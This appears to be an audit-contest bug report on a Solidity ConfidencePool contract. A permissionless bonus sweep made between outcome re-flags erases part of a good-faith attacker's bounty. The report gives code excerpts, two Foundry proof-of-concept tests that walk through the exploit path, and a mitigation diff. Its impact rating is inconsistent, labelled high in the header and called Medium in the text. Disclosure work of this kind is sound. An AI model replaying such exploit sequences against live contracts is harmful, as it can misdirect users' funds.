FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Bonus Sweep Can Erase a Corrected Good-Faith Bounty While the Re-Flag Window Remains Open

Author Revealed upon completion

Root + Impact

Description

The moderator is allowed to correct a pool outcome before value-moving claims begin. When the final outcome is good-faith CORRUPTED, the named attacker should receive a bounty equal to the pool's snapshotted eligible stake plus bonus.

However, sweepUnclaimedBonus() can move accounted bonus to recoveryAddress after an initial SURVIVED flag while intentionally leaving claimsStarted == false. The sweep decrements live totalBonus whenever either totalEligibleStake == 0 or riskWindowStart == 0. A later moderator correction to good-faith CORRUPTED re-snapshots the reduced totalBonus, so the attacker receives less bounty than the same correction would have paid without the intervening sweep.

This can happen through two closely related branches:

  • Observed-risk, zero-staker branch: the pool has observed active risk, but no live stakers remain. The sweep reserves nothing, transfers the accounted bonus, and the corrected good-faith bounty loses the swept bonus.

  • No-risk-window, live-staker branch: the registry reaches terminal CORRUPTED without the pool observing active risk, so riskWindowStart == 0. The sweep reserves staker principal only, treats the entire bonus as unowed to stakers, transfers it to recoveryAddress, and the corrected good-faith bounty loses the swept bonus.

The reflaggable moderator snapshot is written in ConfidencePool.sol::flagOutcome:

function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
// ... code validates state/outcome compatibility ...
outcome = newOutcome;
goodFaith = goodFaith_;
attacker = attacker_;
snapshotTotalStaked = totalEligibleStake;
@> snapshotTotalBonus = totalBonus;
// ... code snapshots stake-time accounting ...
@> corruptedReserve = newOutcome == PoolStates.Outcome.CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;
@> bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;
}

The bonus sweep accounting is in ConfidencePool.sol::sweepUnclaimedBonus:

function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
@> if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
@> if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
// ... code computes sweepable amount from free balance minus reserved funds ...
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
@> if (totalEligibleStake == 0 || riskWindowStart == 0) {
@> totalBonus -= amount <= totalBonus ? amount : totalBonus;
}
// ... code does not set claimsStarted ...
@> stakeToken.safeTransfer(recoveryAddress, amount);
}

The good-faith bounty payout is then capped by current balance in ConfidencePool.sol::claimAttackerBounty:

function claimAttackerBounty() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
@> if (bountyClaimed == bountyEntitlement) revert BountyAlreadyClaimed();
if (!goodFaith) revert InvalidGoodFaithParams();
if (msg.sender != attacker) revert NotAttacker();
if (block.timestamp > corruptedClaimDeadline) revert ClaimWindowExpired();
uint256 remaining = bountyEntitlement - bountyClaimed;
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 payout = remaining <= freeBalance ? remaining : freeBalance;
// ... code updates bountyClaimed and corruptedReserve ...
if (payout > 0) {
if (!claimsStarted) claimsStarted = true;
stakeToken.safeTransfer(attacker, payout);
}
}

Risk

Likelihood: Low

  • The path requires an initial SURVIVED flag, an open moderator correction window, and a later correction to good-faith CORRUPTED.

  • The accounted bonus must be sweepable through either totalEligibleStake == 0 or riskWindowStart == 0.

  • Once the initial SURVIVED flag exists, any account can call sweepUnclaimedBonus() before the correction.

Impact: High

  • The named good-faith attacker can receive less bonus bounty, or zero bonus bounty, even though the same bonus would be paid in a corrected good-faith CORRUPTED outcome without the intervening sweep.

  • The swept funds move to recoveryAddress, not to the public caller, but the path directly reduces the bounty owed to the named good-faith attacker. Under the contest severity matrix, direct loss of the bonus portion of a whitehat bounty with low likelihood is best classified as Medium.

Proof of Concept

The PoC files included with this report are:

ObservedRiskZeroStakerBonusSweepPoC.t.sol
ReflagSweepBonusTheftPoC.t.sol

To run it in a fresh contest checkout:

  1. Copy both PoC files into the repository's test/ directory.

  2. Run:

forge test --match-contract 'ObservedRiskZeroStakerBonusSweepPoC|ReflagSweepBonusTheftPoC' -vv

Expected result:

2 passed, 0 failed

The PoCs demonstrate:

  • Observed-risk, zero-staker path: observed risk, zero live stakers, initial SURVIVED flag, public bonus sweep, corrected good-faith CORRUPTED, and zero bonus bounty.

  • No-risk-window, live-staker path: terminal CORRUPTED without observed active risk, initial SURVIVED flag, public bonus sweep, corrected good-faith CORRUPTED, and a bounty reduced by the swept bonus.

Inline PoC source (ObservedRiskZeroStakerBonusSweepPoC.t.sol):

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract ObservedRiskZeroStakerBonusSweepPoC is BaseConfidencePoolTest {
function testObservedRiskZeroStakerSweepErasesCorrectedBounty() external {
uint256 bonusAmount = 50 * ONE;
_contributeBonus(carol, bonusAmount);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "risk was observed");
assertEq(pool.totalEligibleStake(), 0, "no live stakers");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.snapshotTotalBonus(), bonusAmount, "survived snapshot included bonus");
assertFalse(pool.claimsStarted(), "correction window open");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, bonusAmount, "bonus swept to recovery");
assertEq(pool.totalBonus(), 0, "live bonus accounting reduced");
assertFalse(pool.claimsStarted(), "sweep did not lock correction");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.snapshotTotalBonus(), 0, "corrected snapshot lost swept bonus");
assertEq(pool.bountyEntitlement(), 0, "attacker has no bounty left");
vm.prank(attacker);
vm.expectRevert(IConfidencePool.BountyAlreadyClaimed.selector);
pool.claimAttackerBounty();
}
}

Inline PoC source (ReflagSweepBonusTheftPoC.t.sol):

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// @title POC: Re-flag + Sweep Bonus Theft Chain
/// @notice Demonstrates that sweepUnclaimedBonus called between a SURVIVED flag and a
/// good-faith CORRUPTED re-flag permanently reduces the attacker's bountyEntitlement.
///
/// Root cause: sweepUnclaimedBonus intentionally does NOT set claimsStarted (to prevent
/// donation griefing of the re-flag window), but DOES decrement totalBonus. When the
/// moderator re-flags to CORRUPTED, flagOutcome re-snapshots snapshotTotalBonus from the
/// decremented live totalBonus, shrinking bountyEntitlement by the swept amount.
///
/// Impact: Good-faith attacker loses their entire share of the bonus pool, which is
/// redirected to recoveryAddress (controlled by the pool owner).
///
/// Prerequisites:
/// 1. riskWindowStart == 0 (active risk was never observed by the pool)
/// 2. Moderator flags SURVIVED first (wrong judgment, out-of-scope determination, or collusion)
/// 3. Someone permissionlessly calls sweepUnclaimedBonus before moderator re-flags
/// 4. Moderator re-flags to good-faith CORRUPTED
contract ReflagSweepBonusTheftPoC is BaseConfidencePoolTest {
/// @dev Core exploit: sweep between SURVIVED flag and CORRUPTED re-flag steals bonus from attacker.
function test_sweepBetweenReflagsDrainsBounty() external {
// ====================================================================
// SETUP: Stakers deposit 200e18, sponsor contributes 50e18 bonus
// ====================================================================
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 50 * ONE;
_stake(alice, stakeAmount);
_stake(bob, stakeAmount);
_contributeBonus(carol, bonusAmount);
uint256 totalStaked = stakeAmount * 2;
uint256 expectedFullBounty = totalStaked + bonusAmount; // 250e18
assertEq(pool.totalEligibleStake(), totalStaked, "total stake = 200e18");
assertEq(pool.totalBonus(), bonusAmount, "total bonus = 50e18");
assertEq(token.balanceOf(address(pool)), expectedFullBounty, "pool balance = 250e18");
// ====================================================================
// PRECONDITION: Registry goes directly to CORRUPTED without pool observing UNDER_ATTACK.
// This is realistic when the exploit is fast or nobody calls a pool function during
// the UNDER_ATTACK window.
// ====================================================================
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
assertEq(pool.riskWindowStart(), 0, "riskWindowStart must be 0 (unobserved active risk)");
// ====================================================================
// STEP 1: Moderator flags SURVIVED (believes breach was out-of-scope)
//
// flagOutcome (L322-378):
// - L327: outcome == UNRESOLVED, so re-flag gate does not fire
// - L328: _observePoolState() -> CORRUPTED is terminal, not active-risk
// -> riskWindowStart stays 0, riskWindowEnd gets set
// - L338: SURVIVED accepts CORRUPTED registry state (out-of-scope judgment)
// - L357-362: snapshot taken with current totalBonus (50e18)
// ====================================================================
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED), "outcome = SURVIVED");
assertFalse(pool.claimsStarted(), "claimsStarted = false (re-flag window open)");
assertEq(pool.snapshotTotalBonus(), bonusAmount, "first snapshot includes full bonus");
assertEq(pool.riskWindowStart(), 0, "riskWindowStart still 0 after flag");
// ====================================================================
// STEP 2: Anyone calls sweepUnclaimedBonus (permissionless)
//
// sweepUnclaimedBonus (L474-508):
// - L475: outcome == SURVIVED -> passes
// - L483-488: reserved = totalEligibleStake = 200e18
// (riskWindowStart == 0, so bonus NOT reserved)
// - L491-492: amount = 250e18 - 200e18 = 50e18 (entire bonus)
// - L499-500: totalBonus -= 50e18 (because riskWindowStart == 0)
// -> totalBonus = 0
// - L503-505: claimsStarted intentionally NOT set
// - L506: transfer 50e18 to recoveryAddress
// ====================================================================
uint256 recoveryBalBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
uint256 bonusSwept = token.balanceOf(recovery) - recoveryBalBefore;
assertEq(bonusSwept, bonusAmount, "entire bonus (50e18) swept to recovery");
assertEq(pool.totalBonus(), 0, "totalBonus decremented to 0");
assertFalse(pool.claimsStarted(), "claimsStarted STILL false after sweep");
assertEq(token.balanceOf(address(pool)), totalStaked, "pool has only staked principal");
// ====================================================================
// STEP 3: Moderator re-flags to good-faith CORRUPTED
//
// flagOutcome (L322-378):
// - L327: outcome == SURVIVED (not UNRESOLVED) but claimsStarted == false
// -> condition is (true && false) = false, does NOT revert
// - L328: _observePoolState() -> CORRUPTED, no state changes
// - L347: state == CORRUPTED -> passes
// - L357-362: RE-SNAPSHOT with CURRENT totalBonus:
// snapshotTotalBonus = totalBonus = 0 (post-sweep)
// corruptedReserve = totalStaked + 0 = 200e18
// bountyEntitlement = totalStaked + 0 = 200e18
// ====================================================================
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "outcome = CORRUPTED");
assertEq(pool.snapshotTotalBonus(), 0, "re-snapshot captures depleted totalBonus");
assertEq(pool.bountyEntitlement(), totalStaked, "bounty = stake only, bonus is LOST");
assertLt(pool.bountyEntitlement(), expectedFullBounty, "bounty < expected full bounty");
// ====================================================================
// STEP 4: Attacker claims their (reduced) bounty
//
// claimAttackerBounty (L432-453):
// - remaining = 200e18, freeBalance = 200e18, payout = 200e18
// - attacker receives 200e18 instead of 250e18
// ====================================================================
uint256 attackerBalBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimAttackerBounty();
uint256 attackerPayout = token.balanceOf(attacker) - attackerBalBefore;
assertEq(attackerPayout, totalStaked, "attacker receives 200e18 (stake only)");
assertEq(token.balanceOf(address(pool)), 0, "pool is fully drained");
// ====================================================================
// IMPACT SUMMARY
// ====================================================================
// Expected: attacker gets 250e18 (full pool), recovery gets 0
// Actual: attacker gets 200e18, recovery gets 50e18
// Loss to attacker: 50e18 (entire bonus pool)
uint256 attackerLoss = expectedFullBounty - attackerPayout;
assertEq(attackerLoss, bonusAmount, "attacker lost exactly the bonus amount (50e18)");
assertEq(
token.balanceOf(recovery) - recoveryBalBefore,
bonusAmount,
"bonus redirected to recoveryAddress"
);
// Total distributed = attacker + recovery = 200 + 50 = 250 = original pool
assertEq(
attackerPayout + bonusSwept,
expectedFullBounty,
"all funds distributed, but incorrectly split"
);
}
}

Recommended Mitigation

Treat an accounted bonus sweep after an outcome has been flagged as value-moving finality, or explicitly preserve corrected-good-faith bounty value while the registry is terminally CORRUPTED and the moderator can still reflag.

One possible mitigation is to close the correction window when a sweep removes accounted bonus during an open correction window:

+ uint256 accountedBonusSwept;
if (totalEligibleStake == 0 || riskWindowStart == 0) {
- totalBonus -= amount <= totalBonus ? amount : totalBonus;
+ accountedBonusSwept = amount <= totalBonus ? amount : totalBonus;
+ totalBonus -= accountedBonusSwept;
}
+ if (!claimsStarted && outcome == PoolStates.Outcome.SURVIVED && accountedBonusSwept != 0) {
+ claimsStarted = true;
+ }
+
stakeToken.safeTransfer(recoveryAddress, amount);

Alternatively, disallow sweepUnclaimedBonus() while the live registry state is CORRUPTED and the moderator correction window remains open, or carry forward the earlier bonus snapshot when correcting SURVIVED to good-faith CORRUPTED.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!